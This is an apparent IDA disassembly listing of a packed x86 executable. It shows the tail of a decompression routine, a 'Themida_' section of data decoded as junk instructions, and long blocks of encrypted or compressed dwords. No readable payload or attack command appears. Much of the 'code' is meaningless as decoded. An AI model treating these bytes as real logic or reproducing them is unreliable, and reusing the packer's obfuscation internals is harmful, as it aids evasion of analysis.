loc_48F1E3:				; CODE XREF: sub_48F11B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_48F1F1:				; CODE XREF: sub_48F11B:loc_48F205j
		add	dl, dl
		jnz	short loc_48F1FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1FA:				; CODE XREF: sub_48F11B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_48F205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F205:				; CODE XREF: sub_48F11B+E3j
		jb	short loc_48F1F1
		cmp	eax, 7D00h
		jnb	short loc_48F228
		cmp	eax, 500h
		jb	short loc_48F223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------


loc_48F223:				; CODE XREF: sub_48F11B+F8j
		cmp	eax, 7Fh
		ja	short loc_48F22B


loc_48F228:				; CODE XREF: sub_48F11B+F1j
		add	ecx, 2


loc_48F22B:				; CODE XREF: sub_48F11B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------


loc_48F238:				; CODE XREF: sub_48F11B:loc_48F153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_48F259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_48F132
; ---------------------------------------------------------------------------


loc_48F259:				; CODE XREF: sub_48F11B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_48F11B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_48F265:				; CODE XREF: start:loc_48F076j
					; start+9Dj
		jmp	loc_4EDCB7
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_48F26A	dw 38E9h		; DATA XREF: start+77o
		dd 157334Ch, 7122AFBFh,	22EF1FE1h, 0EF1BE192h, 1EE19822h
		dd 2E36F2EAh, 11FCBE10h, 0BA3E848Bh, 0C203AAA1h, 170541Dh
		dd 4572FF85h, 3002DD7Ch, 59312D34h, 3DE7F33h, 74736552h
		dd 41997261h, 0E92EC570h, 58C7F278h, 6854005Fh,	64696D65h
		dd 0AABC6148h, 3DC24ACh, 33E4DF23h, 0DE37C23Dh,	3FC23545h
		dd 0DC22915Fh, 597ED723h, 0BFAB1801h, 0FFBF01D1h, 46B82188h
		dd 0EC8AD6BFh, 0C58BF1EAh, 5060D4C8h, 5D0AE8h, 335BED81h
		dd 958905E2h, 0D0D6531h, 21EAC5B5h, 315185h, 417DBD83h
		dd 0C74C00Fh, 7EE88B39h, 8F55B84Ch, 447078C2h, 3EBEE324h
		dd 6A0C0BA0h, 29A3E845h, 749A0F68h
		db 83h,	7, 4Ah
; ---------------------------------------------------------------------------


loc_48F32F:				; CODE XREF: Themida_:0048F3ADj
		fisttp	word ptr [edx]
		add	esp, ds:0D20A894Bh
		aad	21h
		jmp	near ptr 0EC92F552h
; ---------------------------------------------------------------------------
		dw 1FAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pop	eax
		out	dx, al
		pop	edx
		or	[ecx+13449EAh],	al
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0E630823h
		inc	eax
		mov	[edi], ebx
		or	[ecx+1D80987Dh], al
		jz	short loc_48F372
		iret
; ---------------------------------------------------------------------------
		dd 83E40820h, 0FF1093B3h, 0EB43120Ch
		db 0E1h, 36h
; ---------------------------------------------------------------------------


loc_48F372:				; CODE XREF: Themida_:0048F361j
		fsubr	qword ptr [esi+61h]
		db	26h
		or	cl, 0C2h
		add	al, 80h
		inc	esi
		add	esp, 2D1FF7Ch
		dec	ecx
		enter	0FFFF8092h, 8Dh
		inc	ebp
		or	byte ptr [ebx-38D7F7A3h], 85h
		sbb	[ecx+0A408D50h], ecx
		rol	ebx, 1
		mov	ds:0B894118h, dl
		adc	al, 81h
		mov	ebp, 755D4006h
		push	edx
		jecxz	short loc_48F3CE
		test	[ebp-7F9BE246h], ecx
		jnz	short loc_48F32F
		mov	cl, [esi]
		mov	ebx, 15B92F4h
		mov	eax, 785437ABh
		rcl	eax, cl
		stc
		ja	near ptr 0F7BE3ECCh
		pusha
		scasd
		retn
; ---------------------------------------------------------------------------
		db 47h
		dd 8C4AA446h
		db 46h,	54h
; ---------------------------------------------------------------------------


loc_48F3CE:				; CODE XREF: Themida_:0048F3A5j
		stc
		inc	edx
		rcl	dword ptr [edi+61h], 1
		mov	al, [eax-30h]	; CODE XREF: Themida_:0048F3D6j
		lock jmp short near ptr	loc_48F3D3+1
; ---------------------------------------------------------------------------
		db 14h,	0EEh, 45h
		dd 0EB144DFCh, 1879AD04h, 403E8046h, 84A6BAF7h,	7DC334DCh
		dd 217FEB0Ch, 6D99F83Eh, 9509F012h, 210F40Eh, 0F065C14Ah
		dd 0F8D68004h, 7203E0D1h, 3328C0C2h, 301C8ADBh,	98FB8039h
		dd 390A0A72h, 7D057A77h, 0CF22E4EBh, 0DEC6114h,	8FE660Ah
		dd 9DBE1EDEh, 10580AC3h, 6172411Ah, 77460A0Bh, 4424BD06h
		dd 0F05D3001h, 7D83F4ECh, 723602E6h, 6EC00CB0h,	0AACCA576h
		dd 9C83F826h, 0A8D48D0Eh, 0FC553B01h, 5378820Fh, 0AA83B0BDh
		dd 0BAA1387Ch, 0C1B9C108h, 0BDFC5070h, 0FE8035D8h, 4947030Fh
		dd 22B9FA75h, 0BBB86A8Bh, 972F101h, 6FEB823Bh, 868E0002h
		dd 1CE337D2h, 1F655106h, 8AEEA236h, 0E9892677h,	675920F2h
		dd 131FDC82h, 54DF6BD7h, 211D0498h, 3C4725Ch, 5255D8Ah
		dd 8304582h, 5444211Bh,	697800C4h, 7D3ED63Ch, 0C30C2C82h
		dd 25068E10h, 356300BCh, 67613A37h, 6C6E08Ch, 6F8E62C3h
		dd 0CB67F0F1h, 398A0C34h, 765B4E00h, 51B8100Fh,	0D1043E3Dh
		dd 46303B3Bh, 2E097552h, 0EC011EAh, 65E4EC48h, 0EA39A390h
		dd 8E03C084h, 87E55496h, 40A8F53h, 8C8C29C2h, 0DBE7EC71h
		dd 0FFB3A00Eh, 77812B0Ch, 11D2204h, 0F984C134h,	90207533h
		dd 76773FBCh, 30EF670Ah, 0EC413302h, 9F7F8C89h,	4090FFCCh
		dd 0E9EA45CFh, 0C4625060h, 4D8C5200h, 0AA821125h, 0ABCD84B1h
		dd 1308845Ah, 0AEDA656h, 0F0EE825Eh, 440EA881h,	0B9FA8AAEh
		dd 230513A2h, 0EA432897h, 0D8111360h, 0E5EB95h,	0CFDFF7Dh
		dd 3B4344BBh, 0D699C71Eh, 0B8A2A940h, 488D678Bh, 572326DAh
		dd 44C45F0Eh, 1962758Ah, 0C4574720h, 0FA7804ECh, 8681BBE8h
		dd 5646467Fh, 88C45E1Ch, 1CC46D8Ah, 66564646h, 5AD0CE00h
		dd 6BEA17CAh, 0CDC83A81h, 15C89BD5h, 1E927E6Dh,	8079F102h
		dd 9C81874Bh, 0D801ABE7h, 10CA0B3Ch, 31B27586h,	60305886h
		dd 468AE4C4h, 1A227Dh, 0F4C45848h, 0F2886AE0h, 0AE91518h
		dd 729EAB1Dh, 0DFCF01B1h, 100750D3h, 0C85CD8C0h, 1BA8614h
		dd 2F0232D1h, 0E42C40FDh, 0EAF015FEh, 51234838h, 44C4590Eh
		dd 1E62458Ah, 514122h, 64FEFA8Eh, 0C0EF7C00h, 0BA610337h
		dd 0DE5D0A9Eh, 4E416260h, 8AFA1E71h, 16272ECDh,	1588EB0Eh
		dd 94B453C3h, 10DAFC83h, 1817A24Eh, 402909E9h, 0E6EB00F8h
		dd 5CFD2FCDh, 0A576D482h, 59733105h, 39188410h,	1982DF46h
		dd 125A93C1h, 0E42D3157h, 4A3DD6F0h, 5C628053h,	0F70F32BBh
		dd 1D91981Ah, 8CF6F90Ah, 19490BE9h, 4E9F8900h, 8D23C25Fh
		dd 26B776FBh, 33C098Ch,	2BEA82DBh, 0BC7AFFB8h, 0C87E50Fh
		dd 54C2611Eh, 0E7303725h, 23730CE0h, 0D52E3EBAh, 2A34871Dh
		dd 0FB009F69h, 8228C43h, 0DE93052h, 0E1291817h,	12DDC10Fh
		dd 9C06A035h, 7F5C8AF6h, 14EA5090h, 0BFF7FECh, 0DBFBA9B0h
		dd 9FA84400h, 0E91484D3h, 765EA03h, 964A8A4Bh, 583A6280h
		dd 498338F3h, 0E0352CC8h, 82725FEh, 0EA92276Ah,	65A14920h
		dd 0D5313AC1h, 2F3C50Dh, 251D80FAh, 0A528BA0Fh,	0A0AF0141h
		dd 37F2DA06h, 92E0E69Dh, 29053422h, 5FEAD98Ch, 0FCFBDF90h
		dd 0A0D57B96h, 0C3F5FDh, 68252E04h, 9435B24Fh, 95FC7100h
		dd 0A0F31CACh, 579D0030h, 7E436BA5h, 0DC608859h, 7DCC0C20h
		dd 0F4117F5Eh, 0A1621FFDh, 32374F5Dh, 0E6E0556Fh, 5B2DDFC4h
		dd 74F50500h, 0AB8987B5h, 2162009Fh, 577DC57Fh,	0DB001BACh
		dd 0AD322CFBh, 7E59517h, 0D20A543Ch, 5D2D1087h,	790093F6h
		dd 8A0DB49Dh, 7B1F41BCh, 19BE00B7h, 0AAE56D97h,	0FC076BACh
		dd 0EE0F58A2h, 7AC72B10h, 7DAE009h, 34D1A159h, 35701027h
		dd 0F700E168h, 4B7A7CB6h, 601B0BBBh, 6495405Ch,	700D862h
		dd 4084F4B4h, 3A7FDDD6h, 8A0FC8B9h, 808EF643h, 1AC91898h
		dd 9E9A890Eh, 5409800Bh, 0C07D1314h, 99315D28h,	0E1617874h
		dd 49116111h, 7D232A00h, 0D618DA60h, 0FBEFB1h, 76A7779Ah
		dd 13655EA5h, 0F5BED400h, 84FFCD79h, 0DE2E3222h, 66615431h
		dd 0BC1880C1h, 3862C20Ah, 0D6A1C75Bh, 5DBD03E4h, 0E33DACC0h
		dd 0B17E6030h, 0DFDCC07Fh, 0D30C629h, 610C903Dh, 30AEBDB6h
		dd 34AA5034h, 0BAE520CDh, 0C1EA440Eh, 0F129E066h, 0CD9A589h
		dd 0CFC5D5ACh, 41772120h, 0A82E051Ch, 7448533Ch, 0C1BAFF06h
		dd 0A08835A1h, 3F5018A7h, 731EA6h, 8247B3CDh, 8E687FF5h
		dd 6153A0Eh, 31B7EC90h,	0ACE30943h, 930F222Ah, 407D7285h
		dd 5796D6ACh, 0B9000233h, 0E25D0B34h, 30594266h, 56A86B79h
		dd 49F82B4Ah, 0F04B2D33h, 0B5900A8Bh, 4088BC7Fh, 3A7D28D5h
		dd 0C036A180h, 26C3D279h, 0C2014A2Bh, 5B83EFA9h, 16C8A8BBh
		dd 636290C6h, 0DB7D41CAh, 0FB379107h, 81502775h, 4EE3F6h
		dd 0BB04F9CAh, 0D51610D0h, 0E0A885E2h, 0CD343142h, 0EC04A863h
		dd 0AE09AC86h, 37151802h, 0E39A3201h, 0C5AB6980h, 0FAF69242h
		dd 2CCF6A00h, 50547716h, 3BBEE36h, 0C39165E6h, 43A2CA9Ch
		dd 61ABDCA0h, 51DF2129h, 5EE3D502h, 0A10C4877h,	0C6F1C054h
		dd 83C3796Dh, 0E8F9C700h, 0D1D01496h, 0B82A1D53h, 0DF2C80B0h
		dd 0B4BA5F46h, 0E255F518h, 10BDDCB0h, 4642550h,	0B545E5FDh
		dd 41F62882h, 0DE5D24h,	29103338h, 5CE3D60Ch, 18018188h
		dd 30C6F9E6h, 6602A1D7h, 7D58BD5Fh, 3BC8A44Ah, 5A697F40h
		dd 480098A6h, 4BACBFC6h, 2A383AC0h, 48C0D660h, 0FC00147Dh
		dd 0F5AD7924h, 5F488654h, 3F407878h, 0DBBB247Fh, 0CFDA40E8h
		dd 87120483h, 2C33DC29h, 0CC9D9011h, 50D0DC68h,	396D02B9h
		dd 421A4392h, 0C9CC18BCh, 1B76F9h, 4D05BAAFh, 47C07A2Fh
		dd 715DCA01h, 6625613Ah, 0A136F440h, 0B9D1C03Ch, 5B162D64h
		dd 88722B00h, 2A8C778Fh, 860C1310h, 0D8140831h,	0B3DCA380h
		dd 369FEB4h, 0BE91C8ECh, 28817DC2h, 0ADC56022h,	0BE08FFBh
		dd 0B0A5ECE6h, 7A7002D6h, 6EC21980h, 0B68AB8A0h, 50609B29h
		dd 10A7EA90h, 0BEECA841h, 88033A52h, 104D61BDh,	0E983060Eh
		dd 40405487h, 96753799h, 0A6153C03h, 9893B714h,	7C1AF72h
		dd 5B0D5FF9h, 0DE07D083h, 580E9574h, 8780BCBDh,	0C0AFF0B8h
		dd 0CFC9BB9h, 0DD333CB2h, 6025500h, 1DB40984h, 78909200h
		dd 7B5AF6E8h, 3F0F00A6h, 0BBF3892Eh, 570185AFh,	0CE9581CCh
		dd 88D0BC28h, 0E9930053h, 9CC430DAh, 80998FE2h,	7B7D8Fh
		dd 598C73A7h, 0CAD8F2C6h, 80ACD919h, 0D046BD38h, 21036399h
		dd 4DC34B2Ah, 4C8194C7h, 1E04BCC5h, 38421088h, 55759291h
		dd 0A1D6E509h, 5E6D5990h, 0B9108C32h, 6C5C03D4h, 9E7605DDh
		dd 0E3D10A10h, 87C48963h, 0D2412092h, 0A4486DF5h, 2892C59Ah
		dd 82972700h, 663B91DBh, 0A5831E4Ah, 0D2E60F25h, 1D6267E0h
		dd 109144AAh, 0A9B40BBAh, 24488042h, 0F8E19D1Ch, 7E753059h
		dd 22F7E998h, 297DF605h, 28885838h, 37A1247Ch, 6087BD0Ch
		dd 1079C7C0h, 0A54BAF91h, 224EDC1Dh, 0DC0E6992h, 139587Dh
		dd 5DE700A7h, 0CD607652h, 0C983E56h, 0C8F8E94Ch, 0C978813Fh
		dd 70ABF4EDh, 20DE0130h, 29BC2A45h, 0A07386h, 97ABCF83h
		dd 42AAF87Dh, 0DD8087F8h, 4BD1009Fh, 0A873295Fh, 0B6268915h
		dd 748A1875h, 0A108D41Dh, 0E8601CFh, 8642C47Fh,	8359E3E1h
		dd 6170C249h, 5D00747Dh, 6F5EDBBh, 5737BA0Dh, 0F431D94Fh
		dd 9DA317Fh, 761F70h, 0F647BB28h, 0F8172097h, 0C5694962h
		dd 69D8A7EEh, 5858488Ch, 11C4A07Bh, 9DA901BCh, 73EC01DBh
		dd 0B98E06EBh, 887DE929h
		dd 62C65E13h, 0A67E8808h, 8EDC107Ch, 110C9460h,	0F605DFB8h
		dd 81F09F5Dh, 2508D14h,	8EF44829h, 0E3238842h, 1205550h
		dd 0D429C614h, 25F51294h, 0CE424427h, 618C48E9h, 35713359h
		dd 1CE60150h, 0FD7318C7h, 0CBEDCD01h, 309C1093h, 0E29A8A10h
		dd 0FF2599C0h, 3E679D4Ch, 0D0817114h, 7DD9A279h, 488980DCh
		dd 528E601Dh, 0B2A10075h, 239537C4h, 210BBC34h,	8182206Dh
		dd 5EC96050h, 0D99A3A00h, 0F94D61C0h, 60E852Dh,	7D5F5655h
		dd 35E859D0h, 96BB6100h, 86AC515Eh, 0B60F00E7h,	0AEB3493Ah
		dd 60B83B34h, 704A7020h, 3CB51AF0h, 10C3D09Eh, 0FD013BBAh
		dd 58EF72EDh, 25100C18h, 0BE890542h, 945CD219h,	0F295540h
		dd 63C17FDEh, 0D77DA1C6h, 3DBE9100h, 6619AF52h,	72CA1E1Fh
		dd 0E738BB2h, 61D5B886h, 5F1143Fh, 871D49B9h, 34E258D7h
		dd 0BAA4E016h, 75313061h, 0F07F7D18h, 92588B00h, 0E8595F21h
		dd 10E0BA02h, 5CBD2DBEh, 0CDC49D14h, 8D42C7B5h,	5A63A0E5h
		dd 7400A848h, 5C5BE988h, 70220861h, 66A9CCA8h, 19D08C82h
		dd 0F8611DDEh, 0B3803D8Eh, 0E3A52ED8h, 3C05AF6Bh, 22331CB7h
		dd 52A9DC81h, 0A544DC00h, 0C5D612Eh, 25EBA189h,	98209A4Ch
		dd 741BDF1Eh, 429F00FCh, 3CC1C85Ch, 900060E8h, 20A85DF5h
		dd 0B1DEBA7Fh, 91059BD8h, 8D68C0C4h, 11C053A1h,	0DC89B12Eh
		dd 0AC30081h, 20D03F94h, 0DB03C7EAh, 6DFDE7B4h,	0D9A81D61h
		dd 602E8F67h, 413907A6h, 0C95F232Eh, 0E6B0591Ah, 7DF51440h
		dd 0E23D14A2h, 0B231C300h, 360B3F2Ch, 4C0F5500h, 34AD0523h
		dd 7CBE0EEFh, 20737704h, 592D6598h, 3E028EF2h, 0C20EDB4Ah
		dd 9C4499h, 740494A7h, 6DBF059Fh, 1F2A0F00h, 82A0A90Eh
		dd 0F54D2692h, 33414010h, 98009F64h, 0BE2CEC5Eh, 1E0BF78Ch
		dd 497024B0h, 209099C3h, 6300FA41h, 847A5D81h, 2660E295h
		dd 1344A83Ch, 0F0D020A0h, 0E5000664h, 437A321Ch, 7C5CFC23h
		dd 54AD0BA2h, 50218DEDh, 32F51C22h, 68451CA8h, 80C007DFh
		dd 57A2A00Ch, 7F0601DFh, 8EEC88BEh, 1863A7h, 36A8139h
		dd 26147BF6h, 86541B92h, 8950FFDAh, 52878099h, 76806DF8h
		dd 9CBC27h, 0F7F9B368h,	600B4923h, 1164D449h, 7D04DC61h
		dd 0B011CE03h, 5644E364h, 0C8294DDDh, 0B495ED08h, 0E4A23132h
		dd 1E9100C4h, 0BFAC5AD9h, 0B64865E2h, 9C00E04h,	3CD39C5Dh
		dd 590BB05Fh, 0E99CA7F9h, 0B9C9BD01h, 895D7188h, 59B59282h
		dd 7E148161h, 0D980E0BBh, 0A00983F6h, 0A006689h, 17D427Bh
		dd 0C5C9EDBEh, 10D27F48h, 2E2045Ch, 9EBDFD20h, 39609A9Dh
		dd 5F4A5161h, 99CD100h,	206F06DAh, 955881FCh, 9398C284h
		dd 96C05622h, 0AA72C207h, 0ADC17603h, 0AAED8F8Eh, 4A7464C3h
		dd 0B2C1F9Dh, 38045C92h, 0BDC80202h, 0C1CC81Dh,	9D581976h
		dd 603FE0BCh, 0C17EC0F0h, 55D4EA16h, 9FA08451h,	187CB91Ch
		dd 771049DDh, 0DA9B2886h, 8CD6074h, 5F465706h, 0BAE840F9h
		dd 862EC21Ah, 7D18C80Bh, 0C0AF8589h, 0E07582E1h, 467D12FAh
		dd 4950A8F0h, 5135430h,	0AC02153Eh, 50268EBCh, 31C8980Ch
		dd 5FF1ADCDh, 8A3F21Fh,	913D547Dh, 4139B45Eh, 2289CCD2h
		dd 4FE10FCBh, 1D91BF85h, 793759C3h, 56842F80h, 21816A29h
		dd 7459145Ch, 0C42A1E05h, 3184741h, 89E04AC6h, 0A40C6757h
		dd 0A2886870h, 1308913Eh, 13F80756h, 3F66B35Fh,	0B0A08BA7h
		dd 0D61D32E1h, 845AEA28h, 187CE944h, 41BC99CBh,	89DEE27Eh
		dd 8D080A18h, 3E41DD03h, 0E595D32h, 0EBA7A8A0h,	50B2A5F4h
		dd 0A12A5C86h, 0FA09A8C7h, 10810F7Dh, 0F64AEB4h, 2C7B724Eh
		dd 411A3C23h, 0EC50C98h, 57938C26h, 638FCE00h, 77BDA987h
		dd 969D3CAEh, 0C03CA33Ch, 34475700h, 45C8247Fh,	2B746C00h
		dd 8CD1BDFAh, 0FF7D01DAh, 9B59957Eh, 20AAC4BEh,	5E969E24h
		dd 5750B018h, 8C340E5Dh, 6C83DE41h, 0C8803F76h,	0D024A0E0h
		dd 0D100DBD8h, 0ADBE9768h, 9CCE02EDh, 0C49D6ED4h, 63501FE0h
		dd 418D7507h, 0C0CA34DCh, 7ED50448h, 485BF8A8h,	3F8F7609h
		dd 71D800DEh, 7D0FE32h,	979B88E0h, 16A4E0E3h, 0BE1EB49Ah
		dd 950020ECh, 1B39E6Ah,	475330E1h
dword_49005C	dd 77D62540h, 41F3572h,	9B41C8F4h, 9DD4E6D0h, 19F59C4h
					; DATA XREF: ___:off_427B6Co
		dd 0AF89EB69h, 0D4568F84h, 0EF05B4h, 40329578h,	47C6DD7h
		dd 8CCBC400h, 8BD8E4D0h, 93680798h, 9FECC26Fh, 895AA261h
		dd 54E0E0C3h, 958B1100h, 1C77C93Eh, 6350973h, 3884CDC4h
		dd 0AE948B42h, 73635D80h, 0D8002889h, 4746745h,	0CBC8F7h
		dd 0DCDFD08Dh, 9758D19Dh, 0AEC7B400h, 639F87E2h, 0B36F0098h
		dd 7B475AE1h, 9B002C94h, 2B412E30h, 0E0BEFEh, 0CAF09DC9h
		dd 5E618EA2h, 0BE6853Eh, 938DDCh, 0E2016B74h, 75450C5Ah
		dd 18402F87h, 0F93E4107h, 201FC9C8h, 0A389E0DCh, 0B05C076Dh
		dd 7120F2C7h, 0E088688Fh, 0A000E2B3h, 417B755Ah, 21A479Bh
		dd 0D2F93D78h, 8CCDCFC9h, 0E59F405Dh, 34004E5Ch, 45C92489h
		dd 0E307119h, 0D00DCE08h, 87E3CB22h, 0C8BD8C00h, 3D91FAF3h
		dd 0B0001597h, 4E5EAEB4h, 7300946Fh, 7A2E38E0h,	0C5F834h
		dd 0DB9395CDh, 5A97901Bh, 0C2AC5C00h, 0FA8DDED5h, 0C3A33802h
		dd 4AA0DF00h, 0DA2E8C76h, 7D294B00h, 0EBB0904h,	0C9D00089h
		dd 679E9CE4h, 0B300AA5Ch, 93A2DDAEh, 0B4A158h, 3DA0ACBDh
		dd 9B408F7Ch, 75353903h, 97C0CB3Fh, 1BEBD1A0h, 44ACB0A2h
		dd 8505C7A1h, 69976795h, 46F8824h, 3E92C0FEh, 78E9F9h
		dd 6F22F746h, 7203353Ah, 34738A29h, 0EEFE0056h,	7631674h
		dd 2F002972h, 666A6EE9h, 0AE26C0B6h, 0A87D131Ch, 2630B45Fh
		dd 12A7DB40h, 0A0CD48DFh, 0EC392880h, 83039FAAh, 9B38DDC3h
		dd 0B64100D7h, 5D08CB8Bh, 3F2D6672h, 0CC1C8655h, 941C0021h
		dd 2576EFCBh, 50BEB67Fh, 9D495F82h, 225CF236h, 700FCC3Dh
		dd 8031C481h, 0DDD9A572h, 6541916h, 402D808Fh, 0C6ED5860h
		dd 85022507h, 321587A8h, 3521C62h, 0F10041D2h, 0DA9951B6h
		dd 1EAD99Eh, 8E0E0BBAh,	2B41C603h, 78107000h, 607E118Ah
		dd 30BD69DFh, 55051384h, 5CDA5F16h, 0C3C54CE0h,	8438A321h
		dd 0AB40A980h, 958FA600h, 921E5F0Bh, 0C93118C3h, 0BF7F9165h
		dd 3E805452h, 3F3F2151h, 0DA17CDA2h, 6C80BC06h,	639161BAh
		dd 97D4077h, 2041A290h,	905F523Eh, 1045381h, 3C665CEh
		dd 0A5B232E3h, 50BD6001h, 2883466Dh, 0E05D37FAh, 9457B901h
		dd 7D56E312h, 9A004A2Bh, 65EA43D0h, 111E9D0h, 56D32900h
		dd 59B63AFFh, 903E61CCh, 0F6D1D5D4h, 27131840h,	3F01B400h
		dd 0E05ACBAh, 0FC78E1A5h, 42EA10h, 6022F9E4h, 1BC27F2h
		dd 233A7D8Ch, 2B3493F6h, 0D168F420h, 46FE13D6h,	0A08E27Dh
		dd 4861072h, 0F5F9030h,	0BDCD2F8Fh, 0DD04C48Eh,	854C983Ah
		dd 5D0ACB08h, 40D1C4A2h, 0E6CB8E16h, 15070791h,	305A55ABh
		dd 0DBEA1D58h, 0B5F2C1Ch, 83E17F40h, 2AF58D03h,	947CF4h
		dd 343B8F54h, 0B0E48A94h, 5029D02h, 7C9A9265h, 22FD800Ch
		dd 9474D138h, 605FDF1Dh, 83626BC0h, 0A1A5CDh, 0B2ED78A2h
		dd 5CB1615Dh, 222FD0A0h, 0FB8EE0EFh, 432410C1h,	0D822F606h
		dd 970B6A05h, 9F4E486h,	217609CCh, 97130E4Ah, 0FC813A73h
		dd 3E0CB056h, 51BC8C07h, 77036454h, 49C15C8Ch, 12C2482h
		dd 0A4EDE62Ah, 87AD3307h, 0B0CAA8D2h, 2260EA02h, 603B0443h
		dd 770BCB86h, 0D2448C5Dh, 0CB8F0017h, 0BF253C61h, 0E10126CDh
		dd 3072DE56h, 509121F0h, 0CBC29C37h, 316A5D07h,	931B10CAh
		dd 5E7A01CBh, 0C3BDC70Dh, 0D5B09899h, 0EE595D21h, 1C89973Eh
		dd 8C003459h, 0A561578Dh, 0F8BE48Fh, 2EAC96F0h,	6003A49h
		dd 1D66B25Dh, 0A24CD098h, 1363808Ch, 9BA2F1Fh, 0C286C1F2h
		dd 4B6E4050h, 1F0B0321h, 60D08053h, 5F230447h, 403AA106h
		dd 35FCA496h, 714A012Bh, 315D2213h, 7FEC50AAh, 0DB0294E8h
		dd 29568BCFh, 84345ED1h, 0E9A05938h, 19FD0824h,	6EC40CCBh
		dd 0A74EBE38h, 0F40D7095h, 0D00E71EAh, 0DAC7CFC8h, 4BCC4AF0h
		dd 666902A0h, 5530D510h, 30342C69h, 86455DA8h, 0A9BE6020h
		dd 88183538h, 5D05CB08h, 40CEC47Ah, 0C9CB9119h,	60A812B3h
		dd 358F2C4h, 0F594D7DAh, 0E4699156h, 59BCF083h,	787C6FB1h
		dd 349AED7Fh, 0E096C41Fh, 0CF19EE84h, 745A78D2h, 8EBE4174h
		dd 30C10497h, 0C8004FE1h, 0D50D7342h, 48D879FDh, 8E88302Ah
		dd 5927BA39h, 86986061h, 38960E22h, 2EA0CBE2h, 0C5DC269Bh
		dd 6981F437h, 0B79F608Fh, 2519E1D7h, 0A460292Fh, 0ABEC9D55h
		dd 607812B5h, 1C9A3847h, 1257E74Eh, 7254F42Dh, 99DE9FCh
		dd 0D640A4E0h, 29000312h, 8BE0792Dh, 0DE6235CEh, 610E7318h
		dd 0C180708h, 187971Eh,	7211E3h, 0EE97144Bh, 25ED7A5Ah
		dd 98E8A22Eh, 981DE949h, 0B103E84Bh, 0B73032B5h, 5ED1A040h
		dd 267701E7h, 10D6DC1Ah, 7C32F6h, 9ABE069Bh, 0EA5F2Eh
		dd 6D9831C8h, 67C20A3Bh, 0D2548009h, 64508EBEh,	50B9D82Dh
		dd 845C9D10h, 0D501C8BDh, 0A8D805DAh, 8F46C091h, 341F1006h
		dd 0C0A65CBAh, 1054E44h, 9DAB1F08h, 238854E3h, 0CE3D1000h
		dd 523F502h, 0F884E0FAh, 8778ACFEh, 90E4521Fh, 0C38070E8h
		dd 0B10F9471h, 9F9B7F00h, 44C0C220h, 19800217h,	5BF13A61h
		dd 4CA6485Ch, 0BA00B0A4h, 3288A537h, 76DEFA22h,	7C5C4903h
		dd 825EE309h, 0D811ECD9h, 32B62C00h, 0D4EB93BCh, 0A0CCE135h
		dd 82E4FC08h, 0DAD9F5ACh, 7DA08209h, 8358E014h,	0ABA50009h
		dd 55928F8Dh, 1D4D1A23h, 0D4B11014h, 0C086A81Ch, 515E9003h
		dd 0BCA45D01h, 4386BDEEh, 9323E9h, 0BA301F14h, 4486C1EAh
		dd 0C1C0150h, 7E5CD51Fh, 0A9BE0345h, 0B7C19CD7h, 0E0255DEDh
		dd 0CB8D7DDCh, 0A89777D1h, 298EC891h, 0CA757F40h, 0C0002630h
		dd 20FA7AD8h, 23A0C5Fh,	0E8B5A5ECh, 0A4604616h,	0D10EFF91h
		dd 32DDEE01h, 3251984Fh, 0CC23E0F1h, 1CAF6F00h,	83E94275h
		dd 600AE01Dh, 806B0949h, 727C0544h, 128E05EBh, 0D1E528D5h
		dd 0E18134D0h, 9C020DCh, 9706048Ch, 62170189h, 0E452078h
		dd 0C8065A97h, 8B5DE33Ch, 1009819h, 0C3957D8Dh,	33712D31h
		dd 0DE1F10B0h, 24561Ch,	0F78D88C1h, 770FEEC9h, 0C515B8Fh
		dd 24EA3073h, 0A870E9F4h, 0E56101C0h, 0EDBEDD75h, 200F6F29h
		dd 0A7D0399Ah, 0CCA29073h, 3CD7730h, 0A0C2287Fh, 58B2EF31h
		dd 0C07A5889h, 0D2AF5D12h, 0FBA6F404h, 0A510C414h, 27FC00D7h
		dd 5746441Fh, 0E8125CB2h, 0E289040Fh, 86BC28E2h, 80D3A041h
		dd 0F6665528h, 607DD554h, 0D91DC0C9h, 0C7F8E8Fh, 0BDFD5205h
		dd 0F8C89772h, 84048C39h, 9A5D09CBh, 1520D062h,	0E2CB8Dh
		dd 0CD70694Ah, 8B033109h, 280E5E24h, 0CE85AE02h, 2198E865h
		dd 700D645Fh, 511E5E82h, 30406257h, 2A8E0FA7h, 0D15D2D38h
		dd 10792049h, 3EC7539h,	205F9FA2h, 90A8B12Fh, 0C1039AF7h
		dd 0BA293369h, 0F0CEB5DAh, 0EEC17588h, 236F9B2Dh, 21C8550Ch
		dd 0EBF44D4Fh, 92917300h, 0E1FCFDA1h, 0A0B999h,	0CB78649Eh
		dd 6E007219h, 6803A974h, 1A4A62h, 8B85B75Fh, 0EB106AE1h
		dd 0C555F414h, 0BCCC49C0h, 0E33308B0h, 0A878B57h, 715DAA0h
		dd 380B38ADh, 6CD1E460h, 2B52208h, 13EF61B6h, 820EA076h
		dd 0FCCC6A83h, 0B8EB06C0h, 0C85925B9h, 83F64480h, 8A15880h
		dd 737820EAh, 383C7E02h, 0E031F333h, 8172C528h,	74063F7Ch
		dd 116E71h, 5894F07Fh, 0F75521BAh, 2727E23Dh, 0FA7466C7h
		dd 0D9BC3D5Dh, 1B18B180h, 73388B05h, 24185548h,	863DA610h
		dd 599149BAh, 6DD42689h, 5E30AEF0h, 29004646h, 14FBC551h
		dd 0FC17B5C6h, 10651119h
		dd 0C0082008h, 188970Dh, 0E0480F4Ch, 7297154Ch,	0FC6B00A4h
